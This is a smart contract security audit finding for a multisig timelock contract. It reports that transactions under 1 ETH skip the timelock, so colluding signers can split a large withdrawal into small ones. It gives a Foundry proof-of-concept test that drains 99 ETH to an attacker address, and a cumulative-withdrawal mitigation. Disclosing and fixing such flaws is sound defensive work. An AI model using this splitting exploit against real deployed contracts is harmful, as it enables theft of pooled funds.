Root + Impact
Scope: MultiSigTimeLock.sol
Description
-
The dynamic timelock mechanism calculates delays based on individual transaction values. Transactions under 1 ETH execute instantly with no delay.
-
This allows 3 colluding signers to bypass the 7-day timelock for large withdrawals by splitting them into multiple sub-1 ETH transactions.
function _getTimelockDelay(uint256 value) internal pure returns (uint256) {
uint256 sevenDaysTimeDelayAmount = 100 ether;
uint256 twoDaysTimeDelayAmount = 10 ether;
uint256 oneDayTimeDelayAmount = 1 ether;
if (value >= sevenDaysTimeDelayAmount) {
return SEVEN_DAYS_TIME_DELAY;
} else if (value >= twoDaysTimeDelayAmount) {
return TWO_DAYS_TIME_DELAY;
} else if (value >= oneDayTimeDelayAmount) {
return ONE_DAY_TIME_DELAY;
@> } else {
@> return NO_TIME_DELAY;
@> }
}
Risk
Likelihood:
Impact:
-
Complete bypass of the 7-day security window for 100+ ETH withdrawals
-
Entire contract balance drained instantly with zero delay
-
Timelock security mechanism rendered useless
Proof of Concept
Demonstrates draining 99 ETH instantly when it should require a 7-day delay:
function test_TimelockBypassViaSplitting() public grantSigningRoles {
vm.deal(address(multiSigTimelock), 100 ether);
uint256 smallAmount = 0.99 ether;
uint256[] memory txnIds = new uint256[](100);
for (uint256 i = 0; i < 100; i++) {
txnIds[i] = multiSigTimelock.proposeTransaction(ATTACKER, smallAmount, "");
vm.prank(OWNER);
multiSigTimelock.confirmTransaction(txnIds[i]);
vm.prank(SIGNER_TWO);
multiSigTimelock.confirmTransaction(txnIds[i]);
vm.prank(SIGNER_THREE);
multiSigTimelock.confirmTransaction(txnIds[i]);
}
for (uint256 i = 0; i < 100; i++) {
vm.prank(OWNER);
multiSigTimelock.executeTransaction(txnIds[i]);
}
assertGe(ATTACKER.balance, 99 ether);
}
Recommended Mitigation
Implement cumulative withdrawal tracking with a rolling time window:
+ uint256 private s_withdrawnInWindow;
+ uint256 private s_windowStart;
+ uint256 private constant WINDOW_DURATION = 24 hours;
function _executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
+ // Reset window if expired
+ if (block.timestamp > s_windowStart + WINDOW_DURATION) {
+ s_windowStart = block.timestamp;
+ s_withdrawnInWindow = 0;
+ }
+
+ // Calculate delay based on cumulative withdrawals
+ uint256 cumulativeValue = s_withdrawnInWindow + txn.value;
+ uint256 requiredDelay = _getTimelockDelay(cumulativeValue);
- uint256 requiredDelay = _getTimelockDelay(txn.value);
uint256 executionTime = txn.proposedAt + requiredDelay;
// ... rest of checks ...
+ s_withdrawnInWindow += txn.value;
// ... execution logic ...
}